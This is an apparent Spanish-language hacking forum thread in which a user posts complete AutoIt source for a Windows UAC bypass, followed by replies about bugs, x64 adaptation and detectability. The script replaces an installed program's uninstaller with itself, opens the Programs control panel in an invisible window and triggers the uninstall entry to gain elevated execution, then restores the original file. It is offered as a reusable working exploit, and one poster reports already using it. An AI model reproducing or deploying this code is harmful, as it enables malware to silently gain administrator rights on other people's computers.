Una Chorada de UACbyPass que hice hace mucho. por si a alguien le sirve de idea. :)

#include <GuiListView.au3>


Opt("MustDeclareVars", 1)
Global $sBackUp = ""

If IsAdmin() Then
	MsgBox(0, "Pink", "Soy Admin Bye :)")
	Exit
Else
	MsgBox(0, "Pink", "No soy Admin Bye :(")
	_UACByPass()
	Sleep(2000)
	_BackUp()
	Exit
EndIf




Func _UACByPass()
	Local $sString = SearchPathAndCopy(@ScriptFullPath)
	ConsoleWrite($sString & @CRLF)
	If $sString Then _RunLisrView($sString)
EndFunc   ;==>_UACByPass

Func _BackUp()
	ConsoleWrite("!" & $sBackUp & @CRLF)
	If $sBackUp Then
		While Not (FileCopy($sBackUp, StringReplace($sBackUp, "BackUp", ""), 1))
			Sleep(30)
		WEnd
		FileDelete($sBackUp)
	EndIf
EndFunc   ;==>_BackUp



Func SearchPathAndCopy($FileSource)
	Local $aReg[2] = ["HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Uninstall", "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall"]
	Local $UninstallString = ""
	Local $DisplayName = ""
	Local $regPath = ""
	Local $i = 0
	Local $x = 0
	Local $aPath = ""
	For $x = 0 To UBound($aReg) - 1
		While True
			$i += 1
			Local $entry = RegEnumKey($aReg[$x], $i)
			If @error <> 0 Then ExitLoop
			$regPath = $aReg[$x] & "\" & $entry
			$DisplayName = RegRead($regPath, "DisplayName")
			If $DisplayName <> "" Then
				$UninstallString = RegRead($regPath, "UninstallString")
				If $UninstallString <> "" Then
					$aPath = _Split($UninstallString)
					If IsArray($aPath) Then
						$sBackUp = $aPath[0] & "BackUp" & $aPath[1]
						If FileCopy($aPath[0] & $aPath[1], $sBackUp, 1) Then
;~ Sleep(500)
							ConsoleWrite("Intento 1" & @CRLF)
							FileDelete($aPath[0] & $aPath[1])
;~ Sleep(500)
							ConsoleWrite("Intento 1" & @CRLF)
							FileCopy($FileSource, $aPath[0] & $aPath[1], 1)

;~ Sleep(500)
							ConsoleWrite($DisplayName & @CRLF)
							ConsoleWrite($aPath[0] & $aPath[1] & @CRLF)

							Return $DisplayName
						EndIf
					EndIf
;~              ConsoleWrite($message & @CRLF)
				EndIf
			EndIf
		WEnd
		$i = 0
	Next
	Return ""
EndFunc   ;==>SearchPathAndCopy


Func _Split($Path)
	Local $AReturn[2]
	$Path = StringReplace($Path, '"', "")
	$Path = StringReplace($Path, "'", "")
	Local $exe = StringInStr($Path, ".exe")
	Local $newPath = StringMid($Path, 1, $exe + 3)
	If Not (StringMid($newPath, 2, 2) == ":\") Then Return False
	Local $Split = StringSplit($newPath, "\")
	Local $NameFile = $Split[UBound($Split) - 1]
	For $i = 1 To UBound($Split) - 2
		$AReturn[0] &= $Split[$i] & "\"
	Next
	$AReturn[1] = $NameFile
	Return $AReturn

EndFunc   ;==>_Split


Func _RunLisrView($sFind)
	Local $handle = 0
	Local $hListView = 0
	Local $Item = 0
	ShellExecute(@SystemDir & "\appwiz.cpl", "", "", "", @SW_MAXIMIZE)
	While True
		$handle = WinWait("[CLASS:CabinetWClass]")
		If $handle Then
			WinSetTrans($handle, "", 0)
			ExitLoop
		EndIf
	WEnd
	WinActivate($handle)
	$hListView = ControlGetHandle($handle, "", "SysListView321")
	$Item = ControlListView($handle, "", $hListView, "FindItem", $sFind)
	ConsoleWrite($Item & @CRLF)
	ControlListView($handle, "", $hListView, "Select", $Item)
	ControlSend($handle, "", $hListView, "{enter}")
	WinClose($handle)
EndFunc   ;==>_RunLisrView
Saludos
Imagen
Probé pero no me funciono, intenta trabajar con un archivo "BackupUninstall.exe" dentro de /AppData/Local pero el archivo no existe.
Saludos
Skype: naker.noventa
si no en todas las pc va a funcionar es cuestión de pulirlo, o tomarlo de idea base para hacer uno mejor(yo ya lo hice)


Saludos
Imagen
Enzyme escribió:One critical bug found in the Idea !!!! Further testing......

Thanks Dany for sharing though.
You're Wellcome.

Saludos
Imagen
Bug Found !!!!!:

Once your Exe is executed as admin ,it and all its child processes must be terminated if you want to uninstall other program.

For example :

if (a.exe) is executed as admin and its running and you try to uninstall other legit program you will face below Dialog window .

Imagen


Other example :
Now if (a.exe) is running as admin and (b.exe) is executed by (a.exe) then you terminate a.exe ,still you will face above problem.

i.e (a.exe)----------------(admin) --------> shellexecute(b.exe ) ---------->b.exe(admin too)--------->Terminate(a.exe)------------> you still cant uninstall other programs because (b.exe) is running and that is child process of a.exe.

So all processes and its child process executed by this method must be terminated if user want to uninstall other apps.

Saludos
Está muy bueno, ya lo ando utilizando, pero tiene mucha basurilla, ControlGetHandle no funciona bien con ejecutables de x64.

PD: Si quieren hacerlo rular en x64, HKLM64 y simples Send.

//Regards.
Ikarus: Backdoor.VBS.SafeLoader
Agnitum: Trojan.VBS.Safebot.A
http://indeseables.github.io/
Scorpio escribió:Está muy bueno, ya lo ando utilizando, pero tiene mucha basurilla, ControlGetHandle no funciona bien con ejecutables de x64.

PD: Si quieren hacerlo rular en x64, HKLM64 y simples Send.

//Regards.
Como dije al principio es una chorrada :S sin optimizacion. Tengo otro método que funciona en todos los windows incluso WIndows 10 tanto en x86 como en x64.
quizás me anime a postearlo igual ni lo uso.
Saludos
Imagen
Pink escribió:
Scorpio escribió:Está muy bueno, ya lo ando utilizando, pero tiene mucha basurilla, ControlGetHandle no funciona bien con ejecutables de x64.

PD: Si quieren hacerlo rular en x64, HKLM64 y simples Send.

//Regards.
Como dije al principio es una chorrada :S sin optimizacion. Tengo otro método que funciona en todos los windows incluso WIndows 10 tanto en x86 como en x64.
quizás me anime a postearlo igual ni lo uso.
Saludos
Sí ya ví que dijiste que basicamente es un PoC, solo aclaraba que no funciona en x64 no por fallos del metodo, sino que el PoC no está adaptado para funcionar en sistemas de 64 Bits, muy buen trabajo como siempre bro.

//Regards.
Ikarus: Backdoor.VBS.SafeLoader
Agnitum: Trojan.VBS.Safebot.A
http://indeseables.github.io/
Si jajaja. veré si me pongo a hacer otros métodos cuando tenga tiempo(para arrumarlos como siempre). yo nunca probé en x64 (no tengo solo en el trabajo) y como siempre hago cositas así es desde casa. aunque cuando intentas acceder(en casi todos los aspectos) a un proceso de x64 desde x86 siempre hay fallas.

Saludos bro
Imagen
Si, por eso solo uso Send y automaticamente busca el nombre y lo ejecuta, lo malo es el molesto parpadeo de la pestaña, no dura mas de 1 segundo pero se dan cuenta.

PD: Tambien vi que buscas las entradas en HKCU, esas no elevan a Admin, solo las de HKLM.
PD2: Aún así creo que este metodo es muy limpio, el mejor que ví sin duda y en pocas lineas.

//Regards.
Ikarus: Backdoor.VBS.SafeLoader
Agnitum: Trojan.VBS.Safebot.A
http://indeseables.github.io/
Responder

Volver a “Fuentes”